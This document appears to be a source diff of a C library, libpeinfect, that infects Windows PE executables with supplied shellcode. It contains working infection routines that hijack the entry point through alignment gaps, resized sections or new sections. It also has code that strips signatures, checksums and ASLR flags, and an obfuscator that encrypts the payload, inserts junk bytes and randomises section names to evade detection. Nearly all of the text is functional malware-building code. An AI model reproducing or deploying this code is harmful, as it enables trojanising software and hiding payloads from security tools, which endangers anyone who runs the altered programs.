size_t method; // Method used
struct _PATCH_HELPER *jmp; // Cross section jmp
unsigned char *jmp_code; // Cross section jmp shellcode
size_t jmpsize; // Cross section jmp size
} PATCH_HELPER;
/* Checks if it's safe to infect file */
static bool __peinfect_check_stealth(PEINFECT *in_infect, PEFILE *in_pe) {
uint32_t i = 0;
if (!in_infect->try_stealth) {
return true;
}
/* .ndata section (NSIS Installer) */
for (i = 0; i < in_pe->pe_header.NumberOfSections; ++i) {
if (strcmp((char *)&in_pe->section_header[i].Name, ".ndata") == 0) {
return false;
}
}
return true;
}
/* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */
static void __peinfect_clean_header(PEINFECT *in, PEFILE *out) {
/* 32 bit */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
out->optional_header_32.CheckSum = 0x00; /* Zero Checksum */
out->optional_header_32.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */
out->optional_header_32.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */
out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag*/
out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */
/* 64 bit */
}
else {
out->optional_header_64.CheckSum = 0x00; /* Zero Checksum */
out->optional_header_64.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */
out->optional_header_64.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */
out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag */
out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */
}
}
/* Build payload from pre-configured and add return to OEP */
static unsigned char * __peinfect_build_payload(PEINFECT *in_infect, PEFILE *in_pe, size_t *payloadsize) {
unsigned char *returncode = NULL;
size_t returnsize = 0;
unsigned char *payload = NULL;
unsigned char *payload_encrypted = NULL;
uint32_t i = 0;
/* Build return code */
returncode = peinfect_obfuscator_build_ep_jmp(in_pe, &returnsize);
if (returncode == NULL) {
return NULL;
}
/* 32 bit */
if (in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
/* payload present? */
if (in_infect->shellcode_x86 == NULL) {
return NULL;
}
*payloadsize = in_infect->shellcode_x86size + returnsize;
/* Allocate memory for payload and return */
payload = (unsigned char *)malloc(*payloadsize);
if (payload == NULL) {
free(returncode);
return NULL;
}
/* Copy shellcode */
memcpy(payload, in_infect->shellcode_x86, in_infect->shellcode_x86size);
/* Copy return code */
memcpy(payload + in_infect->shellcode_x86size, returncode, returnsize);
/* 64 bit */
}
else {
/* payload present? */
if (in_infect->shellcode_x64 == NULL) {
return NULL;
}
*payloadsize = in_infect->shellcode_x64size + returnsize;
/* Allocate memory for payload and return */
payload = (unsigned char *)malloc(*payloadsize);
if (payload == NULL) {
free(returncode);
return NULL;
}
/* Copy shellcode */
memcpy(payload, in_infect->shellcode_x64, in_infect->shellcode_x64size);
/* Copy return code */
memcpy(payload + in_infect->shellcode_x64size, returncode, returnsize);
}
/* Free return code */
free(returncode);
/* Encode payload */
if (in_infect->encrypt) {
/* Iterative encoding */
for (i = 0; i < in_infect->encrypt_iterations; ++i) {
/* Try to encode */
payload_encrypted = peinfect_obfuscator_encrypt_payload(payload, *payloadsize, &returnsize,
!(in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC));
if (payload_encrypted != NULL) {
free(payload);
payload = payload_encrypted;
*payloadsize = returnsize;
}
}
}
return payload;
}
/* Generates random section name */
static void __peinfect_random_sectionname(char *mem, size_t memsize) {
size_t rnd;
/* Nothing to do */
if (mem == NULL || memsize == 0) {
return;
}
mem[0] = '.';
/* Fill with random AlphaNumerics*/
while (--memsize != 0) {
rnd = rand() % 3;
if (rnd == 1) { /* 0 - 9*/
mem[memsize] = 0x30 + rand() % 10;
}
else if (rnd == 2) { /* A - Z */
mem[memsize] = 0x41 + rand() % 26;
}
else { /* a - z */
mem[memsize] = 0x61 + rand() % 26;
}
}
}
/* Try infecting using alignment gap */
static int __peinfect_infect_alignment(PEINFECT *in, unsigned char *payload, size_t payloadsize,
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
size_t i;
uint32_t ep;
uint32_t old_virtsize;
uint32_t old_rawsize;
/* Method allowed? */
if (!(in->methods & METHOD_ALIGNMENT)) {
return false;
}
/* Clear helper structure */
if (helper != NULL) {
memset(helper, 0, sizeof(PATCH_HELPER));
}
/* Need Entry Point */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
if (out->optional_header_32.AddressOfEntryPoint == 0) {
return false;
}
}
else {
if (out->optional_header_64.AddressOfEntryPoint == 0) {
return false;
}
}
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
/* Don't use this section */
if (no_use_section == (int)i) {
continue;
}
/* Section is Executable */
if ((in->methods & METHOD_CHANGE_FLAGS)
|| ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) {
/* Size Available */
if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize)
&& ((out->section_header[i].SizeOfRawData - out->section_header[i].Misc.VirtualSize) >= payloadsize)) {
/* New Entry Point */
ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize;
old_virtsize = out->section_header[i].Misc.VirtualSize;
old_rawsize = out->section_header[i].SizeOfRawData;
/* Save helper data for patch */
if (helper != NULL) {
helper->infected_section = i;
helper->old_virtualsize = old_virtsize;
helper->old_rawsize = old_rawsize;
helper->method = METHOD_ALIGNMENT;
}
/* Update Section */
if (petool_resize_section(i, old_rawsize, old_virtsize + payloadsize, (helper != NULL), out)) {
/* Copy payload in position */
if (helper == NULL) {
memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize);
}
/* Set new EntryPoint */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
out->optional_header_32.AddressOfEntryPoint = ep;
}
else {
out->optional_header_64.AddressOfEntryPoint = ep;
}
/* Change flags if needed */
if (in->methods & METHOD_CHANGE_FLAGS) {
out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS;
}
/* Infect OK */
return i + 1;
}
}
}
}
/* :( */
return false;
}
/* Try infecting using alignment gap and resize */
static int __peinfect_infect_alignment_resize(PEINFECT *in, unsigned char *payload, size_t payloadsize,
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
size_t i;
uint32_t ep;
uint32_t old_virtsize;
uint32_t old_rawsize;
uint32_t rawsize_delta;
/* Method allowed? */
if (!(in->methods & METHOD_ALIGNMENT_RESIZE)) {
return false;
}
/* Clear helper structure */
if (helper != NULL) {
memset(helper, 0, sizeof(PATCH_HELPER));
}
/* Need Entry Point */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
if (out->optional_header_32.AddressOfEntryPoint == 0) {
return false;
}
}
else {
if (out->optional_header_64.AddressOfEntryPoint == 0) {
return false;
}
}
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
/* Don't use this section */
if (no_use_section == (int)i) {
continue;
}
/* Section is Executable */
if ((in->methods & METHOD_CHANGE_FLAGS)
|| ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE)
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) {
/* Size Available */
if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize)
&& (((i + 1) >= out->pe_header.NumberOfSections)
|| ((out->section_header[i + 1].VirtualAddress
- (out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize)) >= payloadsize))) {
/* New Entry Point */
ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize;
old_virtsize = out->section_header[i].Misc.VirtualSize;
old_rawsize = out->section_header[i].SizeOfRawData;
/* New Space needed */
rawsize_delta = payloadsize - (old_rawsize - old_virtsize);
/* Save helper data for patch */
if (helper != NULL) {
helper->infected_section = i;
helper->old_virtualsize = old_virtsize;
helper->old_rawsize = old_rawsize;
helper->method = METHOD_ALIGNMENT_RESIZE;
}
/* Update Section */
if (petool_resize_section(i, old_rawsize + rawsize_delta, old_virtsize + payloadsize, (helper != NULL), out)) {
/* Copy payload in position */
if (helper == NULL) {
memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize);
}
/* Set new EntryPoint */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
out->optional_header_32.AddressOfEntryPoint = ep;
}
else {
out->optional_header_64.AddressOfEntryPoint = ep;
}
/* Change flags if needed */
if (in->methods & METHOD_CHANGE_FLAGS) {
out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS;
}
/* Infect OK */
return i + 1;
}
}
}
}
/* :( */
return false;
}
/* Try infecting inserting new section */
static int __peinfect_infect_new_section(PEINFECT *in, unsigned char *payload, size_t payloadsize,
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
int returnVar = false;
char *section_name = NULL;
size_t section_namesize = 0;
char rnd_sectionname[NT_SHORT_NAME_LEN] = { 0 };
/* Method allowed? */
if (!(in->methods & METHOD_NEW_SECTION)) {
return false;
}
/* Clear helper structure */
if (helper != NULL) {
memset(helper, 0, sizeof(PATCH_HELPER));
}
/* Need Entry Point */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
if (out->optional_header_32.AddressOfEntryPoint == 0) {
return false;
}
}
else {
if (out->optional_header_64.AddressOfEntryPoint == 0) {
return false;
}
}
/* Save helper data for patch */
if (helper != NULL) {
helper->old_rawheadersize = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + out->header_padding.memsize;
helper->old_headerpaddingsize = out->header_padding.memsize;
}
/* Random section name? */
if (in->rnd_sectionname) {
section_namesize = (NT_SHORT_NAME_LEN / 2) + rand() % (NT_SHORT_NAME_LEN / 2 + 1);
__peinfect_random_sectionname(rnd_sectionname, section_namesize);
section_name = rnd_sectionname;
}
else {
section_name = in->section_name;
section_namesize = in->section_namesize;
}
/* Try add section */
if (petool_add_section(section_name, section_namesize, EXECUTABLE_CHARACTERISTICS, payload, payloadsize,
(helper != NULL), out)) {
/* New Entry Point*/
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
out->optional_header_32.AddressOfEntryPoint =
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
}
else {
out->optional_header_64.AddressOfEntryPoint =
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
}
/* Save helper data for patch */
if (helper != NULL) {
helper->infected_section = out->pe_header.NumberOfSections - 1;
helper->method = METHOD_NEW_SECTION;
}
returnVar = out->pe_header.NumberOfSections;
}
return returnVar;
}
/* Try infecting using hidden jmp method */
static bool __peinfect_infect_cross_section_jmp(PEINFECT *in, unsigned char *payload, size_t payloadsize,
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
size_t jmpsize = 0;
uint32_t section = 0;
uint32_t jmp_section = 0;
PATCH_HELPER *jmp_helper = NULL;
size_t i = 0;
unsigned char *jmp_payload = NULL;
/* Method allowed? */
if (!(in->methods & METHOD_CROSS_SECTION_JUMP)) {
return false;
}
/* Clear helper structure */
if (helper != NULL) {
memset(helper, 0, sizeof(PATCH_HELPER));
}
/* Need Entry Point */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
if (out->optional_header_32.AddressOfEntryPoint == 0) {
return false;
}
}
else {
if (out->optional_header_64.AddressOfEntryPoint == 0) {
return false;
}
}
/* Infect normal */
if (!((section = __peinfect_infect_alignment(in, payload, payloadsize, helper, no_use_section, out)) || (section =
__peinfect_infect_alignment_resize(in, payload, payloadsize, helper, no_use_section, out)) || (section =
__peinfect_infect_new_section(in, payload, payloadsize, helper, no_use_section, out)))) {
return false;
}
/* Insert jumps */
for (i = 0; i < in->jump_iterations; ++i) {
/* Build jmp */
jmp_payload = peinfect_obfuscator_build_ep_jmp(out, &jmpsize);
/* Exit, no JMP shellcode */
if (jmp_payload == NULL) {
return true;
}
/* Build jmp helper struct if needed */
if (helper != NULL) {
jmp_helper = malloc(sizeof(PATCH_HELPER));
if (jmp_helper == NULL) {
free(jmp_payload);
return true;
}
memset(jmp_helper, 0, sizeof(PATCH_HELPER));
}
/* Inject jmp in another section*/
if (!((jmp_section = __peinfect_infect_alignment(in, jmp_payload, jmpsize, jmp_helper, section - 1, out))
|| (jmp_section = __peinfect_infect_new_section(in, jmp_payload, jmpsize, jmp_helper, section - 1, out)))) {
free(jmp_payload);
if (jmp_helper != NULL) {
free(jmp_helper);
}
return true;
}
section = jmp_section;
/* Safe jmp payload */
if (helper != NULL) {
helper->jmp = jmp_helper;
jmp_helper->jmp_code = jmp_payload;
jmp_helper->jmpsize = jmpsize;
helper = jmp_helper;
}
else {
/* Free tmp payload */
free(jmp_payload);
}
}
return true;
}
void peinfect_init(PEINFECT *out) {
memset(out, 0, sizeof(PEINFECT));
/* For the glory of beelzebub and random section names */
srand(time(NULL));
/* Allow all methods, except METHOD_CROSS_SECTION_JUMP */
out->methods = METHOD_NEW_SECTION; //METHOD_ALL & ~METHOD_CROSS_SECTION_JUMP; //VERIFY THIS
/* Remove integrity checks */
out->remove_integrity = true;
/* Random section names */
out->rnd_sectionname = true;
/* Cross section jump interations */
out->jump_iterations = 1;
/* Encrypt shellcode */
out->encrypt = true;
/* Encryption iterations */
out->encrypt_iterations = 1;
/* Try to be stealthy */
out->try_stealth = true;
}
void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out) {
char *old_section_name = NULL;
/* Remove old section name */
if (out->section_name != NULL) {
/* Don't free here so that the swap is an atomic operation
and it's possible to change section name while it's used
in another thread for infection without the possibility of
a use-after-free. Not the cleanest solution, but better
than heavy synchronization overhead */
old_section_name = out->section_name;
out->section_name = NULL;
}
/* Set New section name */
if ((!random) && section_name != NULL) {
/* Limit size according to PE COFF */
out->section_namesize = MIN(NT_SHORT_NAME_LEN, section_namesize);
/* Copy new section name */
out->section_name = malloc(out->section_namesize + 1);
if (out->section_name != NULL) {
memcpy(out->section_name, section_name, out->section_namesize);
out->section_name[out->section_namesize] = 0x00;
}
}
/* Random Section Name?*/
out->rnd_sectionname = random;
/* Free old section Name*/
if (old_section_name != NULL) {
free(old_section_name);
}
}
char* peinfect_get_sectionname(PEINFECT *in) {
return in->section_name;
}
void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out) {
/* Set Methods */
out->methods = methods;
}
PEINFECT_METHOD peinfect_get_methods(PEINFECT *in) {
return in->methods;
}
void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out) {
/* Set Iterations */
out->jump_iterations = MIN(MAX(iterations, 1), 64);
}
uint32_t peinfect_get_jumpiterations(PEINFECT *in) {
return in->jump_iterations;
}
void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out) {
/* Set Iterations */
out->encrypt_iterations = MIN(MAX(iterations, 1), 16);
}
uint32_t peinfect_get_encryptiterations(PEINFECT *in) {
return in->encrypt_iterations;
}
void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out) {
out->remove_integrity = remove_integrity;
}
bool peinfect_get_removeintegrity(PEINFECT *in) {
return in->remove_integrity;
}
void peinfect_set_encrypt(bool encrypt, PEINFECT *out) {
out->encrypt = encrypt;
}
bool peinfect_get_encrypt(PEINFECT *in) {
return in->encrypt;
}
void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out) {
out->try_stealth = try_stealth;
}
bool peinfect_get_trystaystealth(PEINFECT *in) {
return in->try_stealth;
}
bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out) {
unsigned char *newmem = NULL;
unsigned char *oldmem = NULL;
/* Allocate memory and copy new shellcode */
if (memsize) {
newmem = malloc(memsize);
if (newmem == NULL) {
return false;
}
memcpy(newmem, mem, memsize);
}
/* Set x64 Shellcode */
if (x64) {
/* Store old memory pointer */
if (out->shellcode_x64 != NULL) {
oldmem = out->shellcode_x64;
}
/* Set shellcode size and mem */
out->shellcode_x64 = newmem;
out->shellcode_x64size = memsize;
/* Reset counter */
out->infect_cnt_x64 = 0;
/* Set x86 Shellcode */
}
else {
/* Store old memory pointer */
if (out->shellcode_x86 != NULL) {
oldmem = out->shellcode_x86;
}
/* Set shellcode size and mem */
out->shellcode_x86 = newmem;
out->shellcode_x86size = memsize;
/* Reset counter */
out->infect_cnt_x86 = 0;
}
/* Free old memory */
if (oldmem != NULL) {
free(oldmem);
}
return true;
}
unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64) {
return x64 ? in->shellcode_x64 : in->shellcode_x86;
}
bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out) {
unsigned char *payload;
size_t payloadsize;
bool returnVar = false;
/* Try parse PE File */
if (!pefile_read_mem(mem, memsize, NULL, out)) {
return false;
}
/* Optional Header present? */
if (!((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|| (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC))) {
return false;
}
/* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */
if (in->remove_integrity) {
__peinfect_clean_header(in, out);
}
/* Stealth checks */
if (!__peinfect_check_stealth(in, out)) {
return false;
}
/* Build payload */
if ((payload = __peinfect_build_payload(in, out, &payloadsize)) == NULL) {
return false;
}
/* Try hidden jump inject */
if (__peinfect_infect_cross_section_jmp(in, payload, payloadsize, NULL, -1, out))
returnVar = true;
/* Try alignment inject */
if (__peinfect_infect_alignment(in, payload, payloadsize, NULL, -1, out))
returnVar = true;
/* Try alignment inject with resize */
if (__peinfect_infect_alignment_resize(in, payload, payloadsize, NULL, -1, out))
returnVar = true;
/* Try new section */
if (__peinfect_infect_new_section(in, payload, payloadsize, NULL, -1, out))
returnVar = true;
/* Free payload */
free(payload);
/* Free PE File if not successful */
if (!returnVar) {
pefile_free(out);
}
return returnVar;
}
bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) {
bool returnVar = false;
unsigned char *file_mem;
PEFILE pefile;
/* Open file */
FILE *fh = fopen(infile, "rb");
if (fh != NULL) {
/* Get file size and allocate buffer */
if (!fseek(fh, 0L, SEEK_END)) {
size_t size = ftell(fh);
size_t read_size = 0;
rewind(fh);
file_mem = malloc(size);
if (file_mem != NULL) {
/* Load file into buffer */
read_size = fread(file_mem, size, 1, fh);
fclose(fh);
fh = NULL;
/* Process file in memory */
if (read_size == 1) {
returnVar = peinfect_infect_full(file_mem, size, in, &pefile);
}
/* free buffer after use */
free(file_mem);
/* Write file to disk*/
if (returnVar) {
returnVar = pefile_write_file(&pefile, NULL, outfile);
}
}
}
/* Close file (if memory allocation has failed) */
if (fh != NULL) {
fclose(fh);
}
}
return returnVar;
}
void peinfect_free(PEINFECT *in) {
/* Free x86 Shellcode */
if (in->shellcode_x86 != NULL) {
free(in->shellcode_x86);
}
/* Free x64 Shellcode */
if (in->shellcode_x64 != NULL) {
free(in->shellcode_x64);
}
/* Free SectionName */
if (in->section_name != NULL) {
free(in->section_name);
}
/* Zero struct */
memset(in, 0, sizeof(PEINFECT));
}

View File

@ -0,0 +1,254 @@
/**
* \file libpeinfect.h
* \brief Infects a PE File with a given payload
*/
#ifndef LIBPEINFECT_H_
#define LIBPEINFECT_H_
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <stddef.h>
#include "libpetool.h"
/**
* Sentinel size of serialized patch
*/
#define PEINFECT_PATCH_SENTINELSIZE 9
/**
* Available Injection Methods
*/
typedef enum _PEINFECT_METHOD {
METHOD_ALIGNMENT = 1 << 0, //!< Alignment-gap only method
METHOD_ALIGNMENT_RESIZE = 1 << 1, //!< Alignment-gap and resize method
METHOD_NEW_SECTION = 1 << 2, //!< Insert new section method
METHOD_CHANGE_FLAGS = 1 << 3, //!< Change section flags (combined with alignment/alignment-resize)
METHOD_CROSS_SECTION_JUMP = 1 << 4, //!< Inserts obfuscated jump at entry point and hides payload in another section
METHOD_ALL = METHOD_ALIGNMENT | METHOD_ALIGNMENT_RESIZE | METHOD_NEW_SECTION | METHOD_CHANGE_FLAGS | METHOD_CROSS_SECTION_JUMP
} PEINFECT_METHOD;
/**
* PE Infect control structure
*/
typedef struct _PEINFECT {
unsigned char *shellcode_x86; //!< Holds x86 shellcode
size_t shellcode_x86size; //!< Size of x86 shellcode
unsigned char *shellcode_x64; //!< Holds x64 shellcode
size_t shellcode_x64size; //!< Size of x64 shellcode
char *section_name; //!< Name of section to insert
size_t section_namesize; //!< Size of new section name
PEINFECT_METHOD methods; //!< Allowed infection methods
bool remove_integrity; //!< Removes integrity checks
bool rnd_sectionname; //!< Random section names
bool try_stealth; //!< Tries to check if infection could be detected
bool encrypt; //!< Encrypts shellcode before insertion
uint32_t encrypt_iterations; //!< Encryption iterations
uint32_t jump_iterations; //!< Cross section jump iterations
uint32_t infect_cnt_x86; //!< Infection counter x86
uint32_t infect_cnt_x64; //!< Infection counter x64
} PEINFECT;
/**
* PE Infect patch structure
*/
typedef struct _PEINFECT_PATCH {
unsigned char *mem; //!< Pointer to memory of current patch part
size_t memsize; //!< Size of current patch part
size_t position; //!< Position of current patch part
bool insert; //!< If true patch will be inserted, overwritten otherwise
struct _PEINFECT_PATCH *next; //!< Pointer to next patch part
} PEINFECT_PATCH;
/**
* Initializes a new PE Infector
*
* \param out PE Infector to initialize
*
*/
void peinfect_init(PEINFECT *out);
/**
* Sets the section Name to use for a injected section
*
* \param section_name Name of new section if injected
* \param section_namesize Size of new section name
* \param random If true, previous params are ignored and a random section
* name will be used for each injection. (Enabled by default)
* \param out PE Infector to configure
*
*/
void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out);
/**
* Gets the section name used for infection
*
* \param in PE Infector
*
* \return section name if set, NULL otherwise
*/
char* peinfect_get_sectionname(PEINFECT *in);
/**
* Sets the methods to use for infection (All are enabled by default, except METHOD_CROSS_SECTION_JUMP)
*
* \param methods Methods to use for infection
* \param out PE Infector to configure
*
*/
void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out);
/**
* Gets the methods used for infection
*
* \param in PE Infector
*
* \return infection methods
*/
PEINFECT_METHOD peinfect_get_methods(PEINFECT *in);
/**
* Sets the interations for cross section infection. (Limits: Min: 1 Max: 64)
*
* \param iterations Number of iterations to use
* \param out PE Infector to configure
*
*/
void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out);
/**
* Gets the interations for cross section infection
*
* \param in PE Infector
*
* \return Number of iterations used
*/
uint32_t peinfect_get_jumpiterations(PEINFECT *in);
/**
* Sets the interations for encryption. (Limits: Min: 1 Max: 16)
*
* \param iterations Number of iterations to use
* \param out PE Infector to configure
*
*/
void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out);
/**
* Gets the interations for encryption
*
* \param in PE Infector
*
* \return Number of iterations used
*/
uint32_t peinfect_get_encryptiterations(PEINFECT *in);
/**
* Enables encryption of payload (Enabled by default)
*
* \param encrypt Encrypts if true
* \param out PE Infector to configure
*
*/
void peinfect_set_encrypt(bool encrypt, PEINFECT *out);
/**
* Gets the encryption of payload
*
* \param in PE Infector
*
* \return true if set, false otherwise
*/
bool peinfect_get_encrypt(PEINFECT *in);
/**
* Enables removal of integrity checks (Enabled by default)
*
* \param remove_integrity Remove integrity if true
* \param out PE Infector to configure
*
*/
void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out);
/**
* Gets the removal of integrity checks flag
*
* \param in PE Infector
*
* \return true if set, false otherwise
*/
bool peinfect_get_removeintegrity(PEINFECT *in);
/**
* Enables to try to stay stealth (Enabled by default)
*
* \param try_stealth Try to stay stealth if true
* \param out PE Infector to configure
*
*/
void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out);
/**
* Gets the try stay stealth flag
*
* \param in PE Infector
*
* \return true if set, false otherwise
*/
bool peinfect_get_trystaystealth(PEINFECT *in);
/**
* Sets shellcode to use
*
* \param mem Pointer to memory containing shellcode
* \param memsize Size of the shellcode
* \param x64 If true shellcode will used for x64 PE Files, x86 otherwise
* \param out PE Infector which will use the shellcode
*
* \return true on success, false otherwise
*/
bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out);
/**
* Gets the shellcode used for infection
*
* \param in PE Infector
* \param x64 returns x64 shellcode if true, x86 otherwise
*
* \ return shellcode
*/
unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64);
/**
* Infects PE File with preconfigured shellcode
*
* \param mem Pointer to memory containing PE File
* \param memsize Size of the PE File
* \param in Input PEINFECT structure for configuration
* \param out infected PE File
*
* \return true on success, false otherwise
*/
bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out);
/**
* Infects PE File from disk with preconfigured shellcode
*
* \param infile PE File to infect
* \param in Input PEINFECT structure for configuration
* \param outfile PE File to store
*
* \return true on success, false otherwise
*/
bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile);
/**
* Clears PEINFECT structure
*
* \param in Input PEINFECT structure
*/
void peinfect_free(PEINFECT *in);
#endif /* LIBPEINFECT_H_ */

View File

@ -0,0 +1,699 @@
/*
* \file libpeinfect_obfuscator.c
* \brief peinfect obfuscator sub-library
*/
/* ToDo: additional Anti-Debugging */
#include "libpefile.h"
#include "libpeinfect_obfuscator.h"
/* Shellcode type */
typedef enum _SHELLCODE_TYPE {
TYPE_CMD = 0x01, // CMD type
TYPE_CALL = 0x02, // CAll type
TYPE_JMP = 0x03, // JMP type
TYPE_LOOP = 0x04, // LOOP type
} SHELLCODE_TYPE;
/* Std OpCodes */
typedef enum _OPCODE {
OP_JMP = '\xeb', // JMP opcode
OP_LOOP = '\xe2', // LOOP opcode
OP_CALL = '\xe8', // CALL opcode
} OPCODE;
/* Shellcode Entry Holder */
typedef struct _SHELLCODE_ENTRY {
unsigned char *code; // Shellcode to insert
size_t codesize; // Shellcode size
unsigned char *garbage; // Garbage to inert
size_t garbagesize; // Garbage size
size_t index; // Index of entry
size_t target; // Target entry (for jmp types)
SHELLCODE_TYPE type; // Entry type
} SHELLCODE_ENTRY;
/* Shellcode */
typedef struct _SHELLCODE {
SHELLCODE_ENTRY *entry; // Entrys
size_t entrys; // Entry counter
size_t total_size; // Total shellcode size
bool x64; // x64 Mode
bool fix_last; // don't shuffle last entry
} SHELLCODE;
/* Generate garbage */
static unsigned char* __peinfector_obfuscator_generate_garbage(SHELLCODE *shellcode, size_t *size) {
unsigned char *garbage = NULL;
switch (shellcode->x64 ? (2 + rand() % 3) : (rand() % 5)) {
/* Break alignment */
case 0:
case 1:
*size = 4;
garbage = malloc(*size);
if (garbage == NULL) {
*size = 0;
return NULL;
}
memcpy(garbage, "\xeb\xff\xc0\x48", *size);
break;
/* Random garbage */
case 2:
*size = 3 + rand() % 6;
garbage = malloc(*size);
if (garbage == NULL) {
*size = 0;
return NULL;
}
garbage[0] = '\xeb';
garbage[1] = (unsigned char) ((int) *size - (int) 2);
break;
/* NOPs */
case 3:
*size = 1 + rand() % 2;
garbage = malloc(*size);
if (garbage == NULL) {
*size = 0;
return NULL;
}
memset(garbage, '\x90', *size);
break;
/* Nothing */
default:
*size = 0;
garbage = NULL;
}
return garbage;
}
/* Shuffles array */
static void __peinfector_obfuscator_shuffle(void *array, size_t n, size_t size) {
char *tmp;
tmp = malloc(size);
char *arr = array;
size_t stride = size * sizeof(char);
if (n > 1) {
size_t i;
for (i = 0; i < n - 1; ++i) {
size_t rnd = (size_t) rand();
size_t j = i + rnd / (RAND_MAX / (n - i) + 1);
memcpy(tmp, arr + j * stride, size);
memcpy(arr + j * stride, arr + i * stride, size);
memcpy(arr + i * stride, tmp, size);
}
}
}
/* Generate new shellcode */
static SHELLCODE* __peinfector_obfuscator_shellcode_new() {
SHELLCODE *shellcode = calloc(1, sizeof(SHELLCODE));
return shellcode;
}
/* Sets x64 mode */
static void __peinfector_obfuscator_shellcode_set_x64(SHELLCODE *shellcode, bool _x64) {
shellcode->x64 = _x64;
}
/* Sets fix last mode (Doesn't shuffle last Entry) */
static void __peinfector_obfuscator_shellcode_fix_last(SHELLCODE *shellcode, bool fix_last) {
shellcode->fix_last = fix_last;
}
/* Generate new shellcode */
static void __peinfector_obfuscator_shellcode_free(SHELLCODE *shellcode) {
size_t i = 0;
/* Free code and garbage */
for (i = 0; i < shellcode->entrys; ++i) {
/* Free each code */
if (shellcode->entry[i].code != 0) {
free(shellcode->entry[i].code);
}
/* Free each garbage */
if (shellcode->entry[i].garbage != 0) {
free(shellcode->entry[i].garbage);
}
}
/* Free holder*/
free(shellcode->entry);
/* Free shellcode container*/
free(shellcode);
}
/* Add shellcode entry */
static int __peinfector_obfuscator_shellcode_add_entry(SHELLCODE *shellcode, char *code, size_t codesize,
bool add_garbage) {
SHELLCODE_ENTRY *entry = NULL;
/* Add entry */
shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY));
if (shellcode->entry == NULL) {
return -1;
}
memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY));
entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys];
/* Set Entry */
